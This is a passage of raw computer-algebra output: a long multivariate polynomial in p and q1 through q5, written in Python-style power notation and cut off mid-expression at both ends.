360*p**3*q1**4*q2*q3**2*q4 - 40*p**3*q1**4*q2*q3*q4**3 - 40*p**3*q1**4*q2*q3*q4**2*q5 + 360*p**3*q1**4*q2*q3*q4**2 - 40*p**3*q1**4*q2*q3*q4*q5**2 + 360*p**3*q1**4*q2*q3*q4*q5 - 1440*p**3*q1**4*q2*q3*q4 - 40*p**3*q1**3*q2**4*q3*q4 - 40*p**3*q1**3*q2**3*q3**2*q4 - 40*p**3*q1**3*q2**3*q3*q4**2 - 40*p**3*q1**3*q2**3*q3*q4*q5 + 360*p**3*q1**3*q2**3*q3*q4 - 40*p**3*q1**3*q2**2*q3**3*q4 - 40*p**3*q1**3*q2**2*q3**2*q4**2 - 40*p**3*q1**3*q2**2*q3**2*q4*q5 + 360*p**3*q1**3*q2**2*q3**2*q4 - 40*p**3*q1**3*q2**2*q3*q4**3 - 40*p**3*q1**3*q2**2*q3*q4**2*q5 + 360*p**3*q1**3*q2**2*q3*q4**2 - 40*p**3*q1**3*q2**2*q3*q4*q5**2 + 360*p**3*q1**3*q2**2*q3*q4*q5 - 1440*p**3*q1**3*q2**2*q3*q4 - 40*p**3*q1**3*q2*q3**4*q4 - 40*p**3*q1**3*q2*q3**3*q4**2 - 40*p**3*q1**3*q2*q3**3*q4*q5 + 360*p**3*q1**3*q2*q3**3*q4 - 40*p**3*q1**3*q2*q3**2*q4**3 - 40*p**3*q1**3*q2*q3**2*q4**2*q5 + 360*p**3*q1**3*q2*q3**2*q4**2 - 40*p**3*q1**3*q2*q3**2*q4*q5**2 + 360*p**3*q1**3*q2*q3**2*q4*q5 - 1440*p**3*q1**3*q2*q3**2*q4 - 40*p**3*q1**3*q2*q3*q4**4 - 40*p**3*q1**3*q2*q3*q4**3*q5 + 360*p**3*q1**3*q2*q3*q4**3 - 40*p**3*q1**3*q2*q3*q4**2*q5**2 + 360*p**3*q1**3*q2*q3*q4**2*q5 - 1440*p**3*q1**3*q2*q3*q4**2 - 40*p**3*q1**3*q2*q3*q4*q5**3 + 360*p**3*q1**3*q2*q3*q4*q5**2 - 1440*p**3*q1**3*q2*q3*q4*q5 + 3360*p**3*q1**3*q2*q3*q4 - 40*p**3*q1**2*q2**5*q3*q4 - 40*p**3*q1**2*q2**4*q3**2*q4 - 40*p**3*q1**2*q2**4*q3*q4**2 - 40*p**3*q1**2*q2**4*q3*q4*q5 + 360*p**3*q1**2*q2**4*q3*q4 - 40*p**3*q1**2*q2**3*q3**3*q4 - 40*p**3*q1**2*q2**3*q3**2*q4**2 - 40*p**3*q1**2*q2**3*q3**2*q4*q5 + 360*p**3*q1**2*q2**3*q3**2*q4 - 40*p**3*q1**2*q2**3*q3*q4**3 - 40*p**3*q1**2*q2**3*q3*q4**2*q5 + 360*p**3*q1**2*q2**3*q3*q4**2 - 40*p**3*q1**2*q2**3*q3*q4*q5**2 + 360*p**3*q1**2*q2**3*q3*q4*q5 - 1440*p**3*q1**2*q2**3*q3*q4 - 40*p**3*q1**2*q2**2*q3**4*q4 - 40*p**3*q1**2*q2**2*q3**3*q4**2 - 40*p**3*q1**2*q2**2*q3**3*q4*q5 + 360*p**3*q1**2*q2**2*q3**3*q4 - 40*p**3*q1**2*q2**2*q3**2*q4**3 - 40*p**3*q1**2*q2**2*q3**2*q4**2*q5 + 360*p**3*q1**2*q2**2*q3**2*q4**2 - 40*p**3*q1**2*q2**2*q3**2*q4*q5**2 + 360*p**3*q1**2*q2**2*q3**2*q4*q5 - 1440*p**3*q1**2*q2**2*q3**2*q4 - 40*p**3*q1**2*q2**2*q3*q4**4 - 40*p**3*q1**2*q2**2*q3*q4**3*q5 + 360*p**3*q1**2*q2**2*q3*q4**3 - 40*p**3*q1**2*q2**2*q3*q4**2*q5**2 + 360*p**3*q1**2*q2**2*q3*q4**2*q5 - 1440*p**3*q1**2*q2**2*q3*q4**2 - 40*p**3*q1**2*q2**2*q3*q4*q5**3 + 360*p**3*q1**2*q2**2*q3*q4*q5**2 - 1440*p**3*q1**2*q2**2*q3*q4*q5 + 3360*p**3*q1**2*q2**2*q3*q4 - 40*p**3*q1**2*q2*q3**5*q4 - 40*p**3*q1**2*q2*q3**4*q4**2 - 40*p**3*q1**2*q2*q3**4*q4*q5 + 360*p**3*q1**2*q2*q3**4*q4 - 40*p**3*q1**2*q2*q3**3*q4**3 - 40*p**3*q1**2*q2*q3**3*q4**2*q5 + 360*p**3*q1**2*q2*q3**3*q4**2 - 40*p**3*q1**2*q2*q3**3*q4*q5**2 + 360*p**3*q1**2*q2*q3**3*q4*q5 - 1440*p**3*q1**2*q2*q3**3*q4 - 40*p**3*q1**2*q2*q3**2*q4**4 - 40*p**3*q1**2*q2*q3**2*q4**3*q5 + 360*p**3*q1**2*q2*q3**2*q4**3 - 40*p**3*q1**2*q2*q3**2*q4**2*q5**2 + 360*p**3*q1**2*q2*q3**2*q4**2*q5 - 1440*p**3*q1**2*q2*q3**2*q4**2 - 40*p**3*q1**2*q2*q3**2*q4*q5**3 + 360*p**3*q1**2*q2*q3**2*q4*q5**2 - 1440*p**3*q1**2*q2*q3**2*q4*q5 + 3360*p**3*q1**2*q2*q3**2*q4 - 40*p**3*q1**2*q2*q3*q4**5 - 40*p**3*q1**2*q2*q3*q4**4*q5 + 360*p**3*q1**2*q2*q3*q4**4 - 40*p**3*q1**2*q2*q3*q4**3*q5**2 + 360*p**3*q1**2*q2*q3*q4**3*q5 - 1440*p**3*q1**2*q2*q3*q4**3 - 40*p**3*q1**2*q2*q3*q4**2*q5**3 + 360*p**3*q1**2*q2*q3*q4**2*q5**2 - 1440*p**3*q1**2*q2*q3*q4**2*q5 + 3360*p**3*q1**2*q2*q3*q4**2 - 40*p**3*q1**2*q2*q3*q4*q5**4 + 360*p**3*q1**2*q2*q3*q4*q5**3 - 1440*p**3*q1**2*q2*q3*q4*q5**2 + 3360*p**3*q1**2*q2*q3*q4*q5 - 5040*p**3*q1**2*q2*q3*q4 - 40*p**3*q1*q2**6*q3*q4 - 40*p**3*q1*q2**5*q3**2*q4 - 40*p**3*q1*q2**5*q3*q4**2 - 40*p**3*q1*q2**5*q3*q4*q5 + 360*p**3*q1*q2**5*q3*q4 - 40*p**3*q1*q2**4*q3**3*q4 - 40*p**3*q1*q2**4*q3**2*q4**2 - 40*p**3*q1*q2**4*q3**2*q4*q5 + 360*p**3*q1*q2**4*q3**2*q4 - 40*p**3*q1*q2**4*q3*q4**3 - 40*p**3*q1*q2**4*q3*q4**2*q5 + 360*p**3*q1*q2**4*q3*q4**2 - 40*p**3*q1*q2**4*q3*q4*q5**2 + 360*p**3*q1*q2**4*q3*q4*q5 - 1440*p**3*q1*q2**4*q3*q4 - 40*p**3*q1*q2**3*q3**4*q4 - 40*p**3*q1*q2**3*q3**3*q4**2 - 40*p**3*q1*q2**3*q3**3*q4*q5 + 360*p**3*q1*q2**3*q3**3*q4 - 40*p**3*q1*q2**3*q3**2*q4**3 - 40*p**3*q1*q2**3*q3**2*q4**2*q5 + 360*p**3*q1*q2**3*q3**2*q4**2 - 40*p**3*q1*q2**3*q3**2*q4*q5**2 + 360*p**3*q1*q2**3*q3**2*q4*q5 - 1440*p**3*q1*q2**3*q3**2*q4 - 40*p**3*q1*q2**3*q3*q4**4 - 40*p**3*q1*q2**3*q3*q4**3*q5 + 360*p**3*q1*q2**3*q3*q4**3 - 40*p**3*q1*q2**3*q3*q4**2*q5**2 + 360*p**3*q1*q2**3*q3*q4**2*q5 - 1440*p**3*q1*q2**3*q3*q4**2 - 40*p**3*q1*q2**3*q3*q4*q5**3 + 360*p**3*q1*q2**3*q3*q4*q5**2 - 1440*p**3*q1*q2**3*q3*q4*q5 + 3360*p**3*q1*q2**3*q3*q4 - 40*p**3*q1*q2**2*q3**5*q4 - 40*p**3*q1*q2**2*q3**4*q4**2 - 40*p**3*q1*q2**2*q3**4*q4*q5 + 360*p**3*q1*q2**2*q3**4*q4 - 40*p**3*q1*q2**2*q3**3*q4**3 - 40*p**3*q1*q2**2*q3**3*q4**2*q5 + 360*p**3*q1*q2**2*q3**3*q4**2 - 40*p**3*q1*q2**2*q3**3*q4*q5**2 + 360*p**3*q1*q2**2*q3**3*q4*q5 - 1440*p**3*q1*q2**2*q3**3*q4 - 40*p**3*q1*q2**2*q3**2*q4**4 - 40*p**3*q1*q2**2*q3**2*q4**3*q5 + 360*p**3*q1*q2**2*q3**2*q4**3 - 40*p**3*q1*q2**2*q3**2*q4**2*q5**2 + 360*p**3*q1*q2**2*q3**2*q4**2*q5 - 1440*p**3*q1*q2**2*q3**2*q4**2 - 40*p**3*q1*q2**2*q3**2*q4*q5**3 + 360*p**3*q1*q2**2*q3**2*q4*q5**2 - 1440*p**3*q1*q2**2*q3**2*q4*q5 + 3360*p**3*q1*q2**2*q3**2*q4 - 40*p**3*q1*q2**2*q3*q4**5 - 40*p**3*q1*q2**2*q3*q4**4*q5 + 360*p**3*q1*q2**2*q3*q4**4 - 40*p**3*q1*q2**2*q3*q4**3*q5**2 + 360*p**3*q1*q2**2*q3*q4**3*q5 - 1440*p**3*q1*q2**2*q3*q4**3 - 40*p**3*q1*q2**2*q3*q4**2*q5**3 + 360*p**3*q1*q2**2*q3*q4**2*q5**2 - 1440*p**3*q1*q2**2*q3*q4**2*q5 + 3360*p**3*q1*q2**2*q3*q4**2 - 40*p**3*q1*q2**2*q3*q4*q5**4 + 360*p**3*q1*q2**2*q3*q4*q5**3 - 1440*p**3*q1*q2**2*q3*q4*q5**2 + 3360*p**3*q1*q2**2*q3*q4*q5 - 5040*p**3*q1*q2**2*q3*q4 - 40*p**3*q1*q2*q3**6*q4 - 40*p**3*q1*q2*q3**5*q4**2 - 40*p**3*q1*q2*q3**5*q4*q5 + 360*p**3*q1*q2*q3**5*q4 - 40*p**3*q1*q2*q3**4*q4**3 - 40*p**3*q1*q2*q3**4*q4**2*q5 + 360*p**3*q1*q2*q3**4*q4**2 - 40*p**3*q1*q2*q3**4*q4*q5**2 + 360*p**3*q1*q2*q3**4*q4*q5 - 1440*p**3*q1*q2*q3**4*q4 - 40*p**3*q1*q2*q3**3*q4**4 - 40*p**3*q1*q2*q3**3*q4**3*q5 + 360*p**3*q1*q2*q3**3*q4**3 - 40*p**3*q1*q2*q3**3*q4**2*q5**2 + 360*p**3*q1*q2*q3**3*q4**2*q5 - 1440*p**3*q1*q2*q3**3*q4**2 - 40*p**3*q1*q2*q3**3*q4*q5**3 + 360*p**3*q1*q2*q3**3*q4*q5**2 - 1440*p**3*q1*q2*q3**3*q4*q5 + 3360*p**3*q1*q2*q3**3*q4 - 40*p**3*q1*q2*q3**2*q4**5 - 40*p**3*q1*q2*q3**2*q4**4*q5 + 360*p**3*q1*q2*q3**2*q4**4 - 40*p**3*q1*q2*q3**2*q4**3*q5**2 + 360*p**3*q1*q2*q3**2*q4**3*q5 - 1440*p**3*q1*q2*q3**2*q4**3 - 40*p**3*q1*q2*q3**2*q4**2*q5**3 + 360*p**3*q1*q2*q3**2*q4**2*q5**2 - 1440*p**3*q1*q2*q3**2*q4**2*q5 + 3360*p**3*q1*q2*q3**2*q4**2 - 40*p**3*q1*q2*q3**2*q4*q5**4 + 360*p**3*q1*q2*q3**2*q4*q5**3 - 1440*p**3*q1*q2*q3**2*q4*q5**2 + 3360*p**3*q1*q2*q3**2*q4*q5 - 5040*p**3*q1*q2*q3**2*q4 - 40*p**3*q1*q2*q3*q4**6 - 40*p**3*q1*q2*q3*q4**5*q5 + 360*p**3*q1*q2*q3*q4**5 - 40*p**3*q1*q2*q3*q4**4*q5**2 + 360*p**3*q1*q2*q3*q4**4*q5 - 1440*p**3*q1*q2*q3*q4**4 - 40*p**3*q1*q2*q3*q4**3*q5**3 + 360*p**3*q1*q2*q3*q4**3*q5**2 - 1440*p**3*q1*q2*q3*q4**3*q5 + 3360*p**3*q1*q2*q3*q4**3 - 40*p**3*q1*q2*q3*q4**2*q5**4 + 360*p**3*q1*q2*q3*q4**2*q5**3 - 1440*p**3*q1*q2*q3*q4**2*q5**2 + 3360*p**3*q1*q2*q3*q4**2*q5 - 5040*p**3*q1*q2*q3*q4**2 - 40*p**3*q1*q2*q3*q4*q5**5 + 360*p**3*q1*q2*q3*q4*q5**4 - 1440*p**3*q1*q2*q3*q4*q5**3 + 3360*p**3*q1*q2*q3*q4*q5**2 - 5040*p**3*q1*q2*q3*q4*q5 + 5040*p**3*q1*q2*q3*q4 + 135*p**3*q2**6*q3*q4 + 135*p**3*q2**5*q3**2*q4 + 135*p**3*q2**5*q3*q4**2 + 135*p**3*q2**5*q3*q4*q5 - 1080*p**3*q2**5*q3*q4 + 135*p**3*q2**4*q3**3*q4 + 135*p**3*q2**4*q3**2*q4**2 + 135*p**3*q2**4*q3**2*q4*q5 - 1080*p**3*q2**4*q3**2*q4 + 135*p**3*q2**4*q3*q4**3 + 135*p**3*q2**4*q3*q4**2*q5 - 1080*p**3*q2**4*q3*q4**2 + 135*p**3*q2**4*q3*q4*q5**2 - 1080*p**3*q2**4*q3*q4*q5 + 3780*p**3*q2**4*q3*q4 + 135*p**3*q2**3*q3**4*q4 + 135*p**3*q2**3*q3**3*q4**2 + 135*p**3*q2**3*q3**3*q4*q5 - 1080*p**3*q2**3*q3**3*q4 + 135*p**3*q2**3*q3**2*q4**3 + 135*p**3*q2**3*q3**2*q4**2*q5 - 1080*p**3*q2**3*q3**2*q4**2 + 135*p**3*q2**3*q3**2*q4*q5**2 - 1080*p**3*q2**3*q3**2*q4*q5 + 3780*p**3*q2**3*q3**2*q4 + 135*p**3*q2**3*q3*q4**4 + 135*p**3*q2**3*q3*q4**3*q5 - 1080*p**3*q2**3*q3*q4**3 + 135*p**3*q2**3*q3*q4**2*q5**2 - 1080*p**3*q2**3*q3*q4**2*q5 + 3780*p**3*q2**3*q3*q4**2 + 135*p**3*q2**3*q3*q4*q5**3 - 1080*p**3*q2**3*q3*q4*q5**2 + 3780*p**3*q2**3*q3*q4*q5 - 7560*p**3*q2**3*q3*q4 + 135*p**3*q2**2*q3**5*q4 + 135*p**3*q2**2*q3**4*q4**2 + 135*p**3*q2**2*q3**4*q4*q5 - 1080*p**3*q2**2*q3**4*q4 + 135*p**3*q2**2*q3**3*q4**3 + 135*p**3*q2**2*q3**3*q4**2*q5 - 1080*p**3*q2**2*q3**3*q4**2 + 135*p**3*q2**2*q3**3*q4*q5**2 - 1080*p**3*q2**2*q3**3*q4*q5 + 3780*p**3*q2**2*q3**3*q4 + 135*p**3*q2**2*q3**2*q4**4 + 135*p**3*q2**2*q3**2*q4**3*q5 - 1080*p**3*q2**2*q3**2*q4**3 + 135*p**3*q2**2*q3**2*q4**2*q5**2 - 1080*p**3*q2**2*q3**2*q4**2*q5 + 3780*p**3*q2**2*q3**2*q4**2 + 135*p**3*q2**2*q3**2*q4*q5**3 - 1080*p**3*q2**2*q3**2*q4*q5**2 + 3780*p**3*q2**2*q3**2*q4*q5 - 7560*p**3*q2**2*q3**2*q4 + 135*p**3*q2**2*q3*q4**5 + 135*p**3*q2**2*q3*q4**4*q5 - 1080*p**3*q2**2*q3*q4**4 + 135*p**3*q2**2*q3*q4**3*q5**2 - 1080*p**3*q2**2*q3*q4**3*q5 + 3780*p**3*q2**2*q3*q4**3 + 135*p**3*q2**2*q3*q4**2*q5**3 - 1080*p**3*q2**2*q3*q4**2*q5**2 + 3780*p**3*q2**2*q3*q4**2*q5 - 7560*p**3*q2**2*q3*q4**2 + 135*p**3*q2**2*q3*q4*q5**4 - 1080*p**3*q2**2*q3*q4*q5**3 + 3780*p**3*q2**2*q3*q4*q5**2 - 7560*p**3*q2**2*q3*q4*q5 + 9450*p**3*q2**2*q3*q4 + 135*p**3*q2*q3**6*q4 + 135*p**3*q2*q3**5*q4**2 + 135*p**3*q2*q3**5*q4*q5 - 1080*p**3*q2*q3**5*q4 + 135*p**3*q2*q3**4*q4**3 + 135*p**3*q2*q3**4*q4**2*q5 - 1080*p**3*q2*q3**4*q4**2 + 135*p**3*q2*q3**4*q4*q5**2 - 1080*p**3*q2*q3**4*q4*q5 + 3780*p**3*q2*q3**4*q4 + 135*p**3*q2*q3**3*q4**4 + 135*p**3*q2*q3**3*q4**3*q5 - 1080*p**3*q2*q3**3*q4**3 + 135*p**3*q2*q3**3*q4**2*q5**2 - 1080*p**3*q2*q3**3*q4**2*q5 + 3780*p**3*q2*q3**3*q4**2 + 135*p**3*q2*q3**3*q4*q5**3 - 1080*p**3*q2*q3**3*q4*q5**2 + 3780*p**3*q2*q3**3*q4*q5 - 7560*p**3*q2*q3**3*q4 + 135*p**3*q2*q3**2*q4**5 + 135*p**3*q2*q3**2*q4**4*q5 - 1080*p**3*q2*q3**2*q4**4 + 135*p**3*q2*q3**2*q4**3*q5**2 - 1080*p**3*q2*q3**2*q4**3*q5 + 3780*p**3*q2*q3**2*q4**3 + 135*p**3*q2*q3**2*q4**2*q5**3 - 1080*p**3*q2*q3**2*q4**2*q5**2 + 3780*p**3*q2*q3**2*q4**2*q5 - 7560*p**3*q2*q3**2*q4**2 + 135*p**3*q2*q3**2*q4*q5**4 - 1080*p**3*q2*q3**2*q4*q5**3 + 3780*p**3*q2*q3**2*q4*q5**2 - 7560*p**3*q2*q3**2*q4*q5 + 9450*p**3*q2*q3**2*q4 + 135*p**3*q2*q3*q4**6 + 135*p**3*q2*q3*q4**5*q5 - 1080*p**3*q2*q3*q4**5 + 135*p**3*q2*q3*q4**4*q5**2 - 1080*p**3*q2*q3*q4**4*q5 + 3780*p**3*q2*q3*q4**4 + 135*p**3*q2*q3*q4**3*q5**3 - 1080*p**3*q2*q3*q4**3*q5**2 + 3780*p**3*q2*q3*q4**3*q5 - 7560*p**3*q2*q3*q4**3 + 135*p**3*q2*q3*q4**2*q5**4 - 1080*p**3*q2*q3*q4**2*q5**3 + 3780*p**3*q2*q3*q4**2*q5**2 - 7560*p**3*q2*q3*q4**2*q5 + 9450*p**3*q2*q3*q4**2 + 135*p**3*q2*q3*q4*q5**5 - 1080*p**3*q2*q3*q4*q5**4 + 3780*p**3*q2*q3*q4*q5**3 - 7560*p**3*q2*q3*q4*q5**2 + 9450*p**3*q2*q3*q4*q5 - 7560*p**3*q2*q3*q4 - 240*p**3*q3**6*q4 - 240*p**3*q3**5*q4**2 - 240*p**3*q3**5*q4*q5 + 1680*p**3*q3**5*q4 - 240*p**3*q3**4*q4**3 - 240*p**3*q3**4*q4**2*q5 + 1680*p**3*q3**4*q4**2 - 240*p**3*q3**4*q4*q5**2 + 1680*p**3*q3**4*q4*q5 - 5040*p**3*q3**4*q4 - 240*p**3*q3**3*q4**4 - 240*p**3*q3**3*q4**3*q5 + 1680*p**3*q3**3*q4**3 - 240*p**3*q3**3*q4**2*q5**2 + 1680*p**3*q3**3*q4**2*q5 - 5040*p**3*q3**3*q4**2 - 240*p**3*q3**3*q4*q5**3 + 1680*p**3*q3**3*q4*q5**2 - 5040*p**3*q3**3*q4*q5 + 8400*p**3*q3**3*q4 - 240*p**3*q3**2*q4**5 - 240*p**3*q3**2*q4**4*q5 + 1680*p**3*q3**2*q4**4 - 240*p**3*q3**2*q4**3*q5**2 + 1680*p**3*q3**2*q4**3*q5 - 5040*p**3*q3**2*q4**3 - 240*p**3*q3**2*q4**2*q5**3 + 1680*p**3*q3**2*q4**2*q5**2 - 5040*p**3*q3**2*q4**2*q5 + 8400*p**3*q3**2*q4**2 - 240*p**3*q3**2*q4*q5**4 + 1680*p**3*q3**2*q4*q5**3 - 5040*p**3*q3**2*q4*q5**2 + 8400*p**3*q3**2*q4*q5 - 8400*p**3*q3**2*q4 - 240*p**3*q3*q4**6 - 240*p**3*q3*q4**5*q5 + 1680*p**3*q3*q4**5 - 240*p**3*q3*q4**4*q5**2 + 1680*p**3*q3*q4**4*q5 - 5040*p**3*q3*q4**4 - 240*p**3*q3*q4**3*q5**3 + 1680*p**3*q3*q4**3*q5**2 - 5040*p**3*q3*q4**3*q5 + 8400*p**3*q3*q4**3 - 240*p**3*q3*q4**2*q5**4 + 1680*p**3*q3*q4**2*q5**3 - 5040*p**3*q3*q4**2*q5**2 + 8400*p**3*q3*q4**2*q5 - 8400*p**3*q3*q4**2 - 240*p**3*q3*q4*q5**5 + 1680*p**3*q3*q4*q5**4 - 5040*p**3*q3*q4*q5**3 + 8400*p**3*q3*q4*q5**2 - 8400*p**3*q3*q4*q5 + 5040*p**3*q3*q4 + 210*p**3*q4**6 + 210*p**3*q4**5*q5 - 1260*p**3*q4**5 + 210*p**3*q4**4*q5**2 - 1260*p**3*q4**4*q5 + 3150*p**3*q4**4 + 210*p**3*q4**3*q5**3 - 1260*p**3*q4**3*q5**2 + 3150*p**3*q4**3*q5 - 4200*p**3*q4**3 + 210*p**3*q4**2*q5**4 - 1260*p**3*q4**2*q5**3 + 3150*p**3*q4**2*q5**2 - 4200*p**3*q4**2*q5 + 3150*p**3*q4**2 + 210*p**3*q4*q5**5 - 1260*p**3*q4*q5**4 + 3150*p**3*q4*q5**3 - 4200*p**3*q4*q5**2 + 3150*p**3*q4*q5 - 1260*p**3*q4 + 60*p**2*q1**6*q2*q3*q4 + 60*p**2*q1**5*q2**2*q3*q4 + 60*p**2*q1**5*q2*q3**2*q4 + 60*p**2*q1**5*q2*q3*q4**2 + 60*p**2*q1**5*q2*q3*q4*q5 - 540*p**2*q1**5*q2*q3*q4 + 60*p**2*q1**4*q2**3*q3*q4 + 60*p**2*q1**4*q2**2*q3**2*q4 + 60*p**2*q1**4*q2**2*q3*q4**2 + 60*p**2*q1**4*q2**2*q3*q4*q5 - 540*p**2*q1**4*q2**2*q3*q4 + 60*p**2*q1**4*q2*q3**3*q4 + 60*p**2*q1**4*q2*q3**2*q4**2 + 60*p**2*q1**4*q2*q3**2*q4*q5 - 540*p**2*q1**4*q2*q3**2*q4 + 60*p**2*q1**4*q2*q3*q4**3 + 60*p**2*q1**4*q2*q3*q4**2*q5 - 540*p**2*q1**4*q2*q3*q4**2 + 60*p**2*q1**4*q2*q3*q4*q5**2 - 540*p**2*q1**4*q2*q3*q4*q5 + 2160*p**2*q1**4*q2*q3*q4 + 60*p**2*q1**3*q2**4*q3*q4 + 60*p**2*q1**3*q2**3*q3**2*q4 + 60*p**2*q1**3*q2**3*q3*q4**2 + 60*p**2*q1**3*q2**3*q3*q4*q5 - 540*p**2*q1**3*q2**3*q3*q4 + 60*p**2*q1**3*q2**2*q3**3*q4 + 60*p**2*q1**3*q2**2*q3**2*q4**2 + 60*p**2*q1**3*q2**2*q3**2*q4*q5 - 540*p**2*q1**3*q2**2*q3**2*q4 + 60*p**2*q1**3*q2**2*q3*q4**3 + 60*p**2*q1**3*q2**2*q3*q4**2*q5 - 540*p**2*q1**3*q2**2*q3*q4**2 + 60*p**2*q1**3*q2**2*q3*q4*q5**2 - 540*p**2*q1**3*q2**2*q3*q4*q5 + 2160*p**2*q1**3*q2**2*q3*q4 + 60*p**2*q1**3*q2*q3**4*q4 + 60*p**2*q1**3*q2*q3**3*q4**2 + 60*p**2*q1**3*q2*q3**3*q4*q5 - 540*p**2*q1**3*q2*q3**3*q4 + 60*p**2*q1**3*q2*q3**2*q4**3 + 60*p**2*q1**3*q2*q3**2*q4**2*q5 - 540*p**2*q1**3*q2*q3**2*q4**2 + 60*p**2*q1**3*q2*q3**2*q4*q5**2 - 540*p**2*q1**3*q2*q3**2*q4*q5 + 2160*p**2*q1**3*q2*q3**2*q4 + 60*p**2*q1**3*q2*q3*q4**4 + 60*p**2*q1**3*q2*q3*q4**3*q5 - 540*p**2*q1**3*q2*q3*q4**3 + 60*p**2*q1**3*q2*q3*q4**2*q5**2 - 540*p**2*q1**3*q2*q3*q4**2*q5 + 2160*p**2*q1**3*q2*q3*q4**2 + 60*p**2*q1**3*q2*q3*q4*q5**3 - 540*p**2*q1**3*q2*q3*q4*q5**2 + 2160*p**2*q1**3*q2*q3*q4*q5 - 5040*p**2*q1**3*q2*q3*q4 + 60*p**2*q1**2*q2**5*q3*q4 + 60*p**2*q1**2*q2**4*q3**2*q4 + 60*p**2*q1**2*q2**4*q3*q4**2 + 60*p**2*q1**2*q2**4*q3*q4*q5 - 540*p**2*q1**2*q2**4*q3*q4 + 60*p**2*q1**2*q2**3*q3**3*q4 + 60*p**2*q1**2*q2**3*q3**2*q4**2 + 60*p**2*q1**2*q2**3*q3**2*q4*q5 - 540*p**2*q1**2*q2**3*q3**2*q4 + 60*p**2*q1**2*q2**3*q3*q4**3 + 60*p**2*q1**2*q2**3*q3*q4**2*q5 - 540*p**2*q1**2*q2**3*q3*q4**2 + 60*p**2*q1**2*q2**3*q3*q4*q5**2 - 540*p**2*q1**2*q2**3*q3*q4*q5 + 2160*p**2*q1**2*q2**3*q3*q4 + 60*p**2*q1**2*q2**2*q3**4*q4 + 60*p**2*q1**2*q2**2*q3**3*q4**2 + 60*p**2*q1**2*q2**2*q3**3*q4*q5 - 540*p**2*q1**2*q2**2*q3**3*q4 + 60*p**2*q1**2*q2**2*q3**2*q4**3 + 60*p**2*q1**2*q2**2*q3**2*q4**2*q5 - 540*p**2*q1**2*q2**2*q3**2*q4**2 + 60*p**2*q1**2*q2**2*q3**2*q4*q5**2 - 540*p**2*q1**2*q2**2*q3**2*q4*q5 + 2160*p**2*q1**2*q2**2*q3**2*q4 + 60*p**2*q1**2*q2**2*q3*q4**4 + 60*p**2*q1**2*q2**2*q3*q4**3*q5 - 540*p**2*q1**2*q2**2*q3*q4**3 + 60*p**2*q1**2*q2**2*q3*q4**2*q5**2 - 540*p**2*q1**2*q2**2*q3*q4**2*q5 + 2160*p**2*q1**2*q2**2*q3*q4**2 + 60*p**2*q1**2*q2**2*q3*q4*q5**3 - 540*p**2*q1**2*q2**2*q3*q4*q5**2 + 2160*p**2*q1**2*q2**2*q3*q4*q5 - 5040*p**2*q1**2*q2**2*q3*q4 + 60*p**2*q1**2*q2*q3**5*q4 + 60*p**2*q1**2*q2*q3**4*q4**2 + 60*p**2*q1**2*q2*q3**4*q4*q5 - 540*p**2*q1**2*q2*q3**4*q4 + 60*p**2*q1**2*q2*q3**3*q4**3 + 60*p**2*q1**2*q2*q3**3*q4**2*q5 - 540*p**2*q1**2*q2*q3**3*q4**2 + 60*p**2*q1**2*q2*q3**3*q4*q5**2 - 540*p**2*q1**2*q2*q3**3*q4*q5 + 2160*p**2*q1**2*q2*q3**3*q4 + 60*p**2*q1**2*q2*q3**2*q4**4 + 60*p**2*q1**2*q2*q3**2*q4**3*q5 - 540*p**2*q1**2*q2*q3**2*q4**3 + 60*p**2*q1**2*q2*q3**2*q4**2*q5**2 - 540*p**2*q1**2*q2*q3**2*q4**2*q5 + 2160*p**2*q1**2*q2*q3**2*q4**2 + 60*p**2*q1**2*q2*q3**2*q4*q5**3 - 540*p**2*q1**2*q2*q3**2*q4*q5**2 + 2160*p**2*q1**2*q2*q3**2*q4*q5 - 5040*p**2*q1**2*q2*q3**2*q4 + 60*p**2*q1**2*q2*q3*q4**5 + 60*p**2*q1**2*q2*q3*q4**4*q5 - 540*p**2*q1**2*q2*q3*q4**4 + 60*p**2*q1**2*q2*q3*q4**3*q5**2 - 540*p**2*q1**2*q2*q3*q4**3*q5 + 2160*p**2*q1**2*q2*q3*q4**3 + 60*p**2*q1**2*q2*q3*q4**2*q5**3 - 540*p**2*q1**2*q2*q3*q4**2*q5**2 + 2160*p**2*q1**2*q2*q3*q4**2*q5 - 5040*p**2*q1**2*q2*q3*q4**2 + 60*p**2*q1**2*q2*q3*q4*q5**4 - 540*p**2*q1**2*q2*q3*q4*q5**3 + 2160*p**2*q1**2*q2*q3*q4*q5**2 - 5040*p**2*q1**2*q2*q3*q4*q5 + 7560*p**2*q1**2*q2*q3*q4 + 60*p**2*q1*q2**6*q3*q4 + 60*p**2*q1*q2**5*q3**2*q4 + 60*p**2*q1*q2**5*q3*q4**2 + 60*p**2*q1*q2**5*q3*q4*q5 - 540*p**2*q1*q2**5*q3*q4 + 60*p**2*q1*q2**4*q3**3*q4 + 60*p**2*q1*q2**4*q3**2*q4**2 + 60*p**2*q1*q2**4*q3**2*q4*q5 - 540*p**2*q1*q2**4*q3**2*q4 + 60*p**2*q1*q2**4*q3*q4**3 + 60*p**2*q1*q2**4*q3*q4**2*q5 - 540*p**2*q1*q2**4*q3*q4**2 + 60*p**2*q1*q2**4*q3*q4*q5**2 - 540*p**2*q1*q2**4*q3*q4*q5 + 2160*p**2*q1*q2**4*q3*q4 + 60*p**2*q1*q2**3*q3**4*q4 + 60*p**2*q1*q2**3*q3**3*q4**2 + 60*p**2*q1*q2**3*q3**3*q4*q5 - 540*p**2*q1*q2**3*q3**3*q4 + 60*p**2*q1*q2**3*q3**2*q4**3 + 60*p**2*q1*q2**3*q3**2*q4**2*q5 - 540*p**2*q1*q2**3*q3**2*q4**2 + 60*p**2*q1*q2**3*q3**2*q4*q5**2 - 540*p**2*q1*q2**3*q3**2*q4*q5 + 2160*p**2*q1*q2**3*q3**2*q4 + 60*p**2*q1*q2**3*q3*q4**4 + 60*p**2*q1*q2**3*q3*q4**3*q5 - 540*p**2*q1*q2**3*q3*q4**3 + 60*p**2*q1*q2**3*q3*q4**2*q5**2 - 540*p**2*q1*q2**3*q3*q4**2*q5 + 2160*p**2*q1*q2**3*q3*q4**2 + 60*p**2*q1*q2**3*q3*q4*q5**3 - 540*p**2*q1*q2**3*q3*q4*q5**2 + 2160*p**2*q1*q2**3*q3*q4*q5 - 5040*p**2*q1*q2**3*q3*q4 + 60*p**2*q1*q2**2*q3**5*q4 + 60*p**2*q1*q2**2*q3**4*q4**2 + 60*p**2*q1*q2**2*q3**4*q4*q5 - 540*p**2*q1*q2**2*q3**4*q4 + 60*p**2*q1*q2**2*q3**3*q4**3 + 60*p**2*q1*q2**2*q3**3*q4**2*q5 - 